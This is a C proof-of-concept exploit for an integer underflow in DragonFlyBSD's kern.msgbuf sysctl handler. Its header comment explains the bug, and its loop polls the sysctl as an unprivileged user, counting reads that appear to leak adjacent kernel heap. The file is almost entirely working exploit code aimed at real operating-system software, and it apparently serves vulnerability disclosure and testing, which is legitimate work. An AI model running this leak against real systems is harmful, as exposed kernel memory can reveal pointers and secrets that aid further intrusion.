DF-0035 / msgbuf_oob.c
/* * DF-0035 PoC - integer underflow in sysctl_kern_msgbuf (3rd branch) leaks * kernel heap adjacent to the msgbuf via kern.msgbuf. * * sysctl_kern_msgbuf (sys/kern/subr_prf.c) 3rd branch (:1177-1184) is entered * only when xindex_modulo==0 (msg_bufx is an exact multiple of msg_size), in * which case n == msg_size - rindex_modulo. It passes length `n - rindex_modulo` * (= msg_size - 2*rindex_modulo) to sysctl_handle_opaque, which UNDERFLOWS * (u_int) to ~4GB when rindex_modulo > msg_size/2. The copyout (capped at the * user's oldlen) then reads from msg_ptr+rindex_modulo past msg_ptr+msg_size * into adjacent kernel heap. * * Default unprivileged_read_msgbuf=1, so any local user can poll kern.msgbuf * to hit the window (msg_bufx crosses a msg_size boundary ~once per 1MB of * kernel log, while the reader lags past the midpoint). * * Build (DragonFlyBSD): cc -o msgbuf_oob msgbuf_oob.c * Run as an UNPRIVILEGED user (disposable VM; may need sustained polling). * * Expected (bug present): some sysctl reads return bytes beyond the valid * msgbuf (adjacent kernel-heap residue), observable as non-ASCII / pointer- * like data or a returned-length anomaly. On a fixed kernel the read length * is always <= msg_size and contents are valid msgbuf text. */ #include <sys/types.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(void) { int name[2] = { CTL_KERN, /* kern.msgbuf */ }; /* Use the well-known name "kern.msgbuf". */ size_t len = 0; if (sysctlbyname("kern.msgbuf", NULL, &len, NULL, 0) != 0) { perror("sysctlbyname(len)"); return 1; } if (len == 0) len = 1 << 20; /* ask for up to ~1MB */ char *buf = malloc(len); if (!buf) return 1; unsigned long hits = 0, tries = 0; for (long i = 0; i < 2000000L; i++) { size_t l = len; memset(buf, 0x5a, len); if (sysctlbyname("kern.msgbuf", buf, &l, NULL, 0) != 0) continue; tries++; /* A "hit": returned region contains many non-ASCII / non-text bytes * beyond what a normal msgbuf holds, suggesting adjacent heap. */ size_t nonprint = 0; for (size_t k = 0; k < l; k++) if ((unsigned char)buf[k] != '\n' && (buf[k] < 9 || buf[k] > 126)) nonprint++; if (l > 0 && nonprint * 4 > l) { /* >25% binary => suspect */ hits++; if (hits < 4) { fprintf(stderr, "[*] suspect read #%lu: %zu bytes, %zu non-printable " "(possible adjacent heap)\n", hits, l, nonprint); } } } fprintf(stderr, "[*] %lu sysctl reads; %lu suspect (OOB-heap) hits\n", tries, hits); fprintf(stderr, "[*] result: %s\n", hits ? "likely LEAK CONFIRMED" : "no hit this run (race window)"); free(buf); return hits ? 0 : 2; } |